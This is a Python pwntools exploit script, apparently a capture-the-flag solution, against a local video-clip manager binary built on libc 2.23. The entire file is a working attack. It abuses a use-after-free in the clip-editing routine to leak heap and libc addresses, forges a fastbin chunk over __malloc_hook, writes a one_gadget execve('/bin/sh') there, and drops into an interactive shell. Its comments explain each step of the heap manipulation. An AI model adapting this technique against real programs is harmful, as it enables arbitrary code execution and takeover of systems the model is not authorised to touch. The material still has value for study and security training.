#!/usr/bin/env python

from pwn import *

def add_clip():
    p.sendlineafter('>>> ', '1')

def edit_clip(index):
    p.sendlineafter('>>> ', '2')
    p.sendlineafter('Enter index : ', str(index))

def play_clip(index):
    p.sendlineafter('>>> ', '3')
    p.sendlineafter('Enter index : ', str(index))
    p.recvuntil('Playing video...\n')

def remove_clip(index):
    p.sendlineafter('>>> ', '4')
    p.sendlineafter('Enter index : ', str(index))

def add_video_clip(resolusion, fps, num_frames, data, description, exploit=False):
    add_clip()
    p.sendlineafter('>>> ', '1')
    if exploit:
        return
    p.sendafter('Video Resolution : ', resolusion)
    p.sendafter('FPS : ', fps)
    p.sendafter('Number of Frames : ', num_frames)
    p.sendafter('Video Data : ', data)
    p.sendafter('Add description : ', description)

def edit_video_clip(index, resolusion, fps, num_frames, data, description):
    edit_clip(index)
    p.sendafter('Video Resolution : ', resolusion)
    p.sendafter('FPS : ', fps)
    p.sendafter('Number of Frames : ', num_frames)
    p.sendafter('Video Data : ', data)
    p.sendafter('Edit description : ', description)

def flush_out():
    # these new allocations will flush out any chunk with size of 0x71 and empty out the fastbin free list
    for i in range(300):
        add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '\x00' * 100, '\x00' * 47)

def leak_heap():
    # we first create 3 video clip which creates 3 fastbin (0x71) for their data

    # video_A # 300 => fastbin_1 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'A' * 100, '\x00' * 47)
    # video_B # 301 => fastbin_2 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'B' * 100, '\x00' * 47)
    # video_C # 302 => fastbin_3 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'C' * 100, '\x00' * 47)

    # removing video_A and video_B causes fastbin_1 and fastbin_2 goes to free list
    remove_clip(300)
    remove_clip(301)

    # editing video_C, allocates fastbin_2 and frees it again and writes into it
    # so, fastbin_2 will be at the beginning of free list. That's why we set its fd into 0
    edit_video_clip(302, '\x00' * 8, '\x00' * 4, p32(100), '\x00' * 8 + 'D' * 16 + '\n', '\x00' * 47)

    # the following allocations reuses the fastbin_2 and fastbin_1 in free list

    # video_E # 303 => fastbin_2 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'E' * 100, '\x00' * 47)
    # video_F # 304 => fastbin_1 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'F' * 100, '\x00' * 47)

    # the following removing put fastbin_2 and fastbin_1 in the free list.
    # and set fastbin_2's fd to address of fastbin_1
    remove_clip(304)
    remove_clip(303)

    # at this point video_C's data is pointing to fastbin_2 and fastbin_2'fd is currently
    # populated with a heap address. This way we can leak that address.
    play_clip(302)

    heap_addr = u64(p.recv(8)) ^ u64('\xcc' * 8)

    # these 2 new video clip will flush out the fastbin free list
    # 305
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '\x00' * 100, '\x00' * 47)
    # 306
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '\x00' * 100, '\x00' * 47)

    return heap_addr

def leak_libc(heap_addr):
    # video_0 # 307 => fastbin_4 (0x71)
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '0' * 100, '\x00' * 47)

    # by editing video_0 we can push a fake chunk address in the fastbin free list in the arena
    # in addition, this editing put the fastbin_4 in the free list
    edit_video_clip(307, p64(0x71), '\x00' * 4, p32(100), p64(heap_addr + 0x140) + '1' * 92, '\x00' * 47)

    # video_2 # 308 => fastbin_4 (0x71)
    # this allocation uses the freed chunk from editing of video_0
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '2' * 100, '\x00' * 47)

    # video_3 # 309 => fastbin_5 (0x71)
    # allocating this new video clip basically uses the fake chunk with created inside video_0's chunk
    # basically, we can write the read@GOT in place of video_0's data pointer, so we can leak it
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), p32(0) + p32(8) + p64(0x604050) + '\n', '\n')
    play_clip(307)

    return (u64(p.recv(8)) ^ u64('\xcc' * 8)) - 0xf7220

def exploit(libc_base):
    # since the head of fastbin free list is pointing to somewhere invalid
    # we free enough chunks for the  following allocations
    remove_clip(0)
    remove_clip(1)
    remove_clip(2)
    remove_clip(3)

    # video_a # 310 => fastbin_6 (0x71)
    # we will create a brand new video clip with a new data chunk to edit later
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'a' * 100, '\x00' * 47)

    # we are going to create a fake chunk somewhere before __malloc_hook where
    # its size is 0x7f. So, when allocate with size 100, malloc will use the fake chunk
    fake_chunk = libc_base + 0x3c4aed
    print 'fake chunk: {}'.format(hex(fake_chunk))

    # by editing, we can put the fake chunk's address in the fastbin free list
    edit_video_clip(310, '\x00' * 8, '\x00' * 4, p32(100), p64(fake_chunk) + '\n', '\x00' * 47)

    # video_b # 311 => fastbin_6 (0x71)
    # after this, fake chunk is in the head of free list
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), 'b' * 100, '\x00' * 47)

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''
    one_gadget = libc_base + 0x4526a
    print 'one gadget: {}'.format(hex(one_gadget))

    # video_ # 312 => fake chunk (0x7f)
    # this allocation uses the fake chunk for the data chunk, and we can overwrite
    # __malloc_hook with one gadget
    add_video_clip('\x00' * 8, '\x00' * 4, p32(100), '\x00' * 19 + p64(one_gadget) + '\n', '\x00' * 47)

    # we need to make an allocation in order to trigger __malloc_hook
    add_video_clip('', '', '', '', '', exploit=True)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    p.sendlineafter('What is your movie name?', '')

    # program creates 256 chunks with random sizes, and delete some of them by random
    # since we are going to focus on chunk sizes of 0x71, we will create enough chunks
    # so we can flush out the fastbins
    flush_out()

    # really vulnerability happens while editing VideoClip where it writes into a freed chunk

    heap_addr = leak_heap()
    print 'heap addr: {}'.format(hex(heap_addr))

    libc_base = leak_libc(heap_addr)
    print 'libc base: {}'.format(hex(libc_base))

    exploit(libc_base)

    p.interactive()

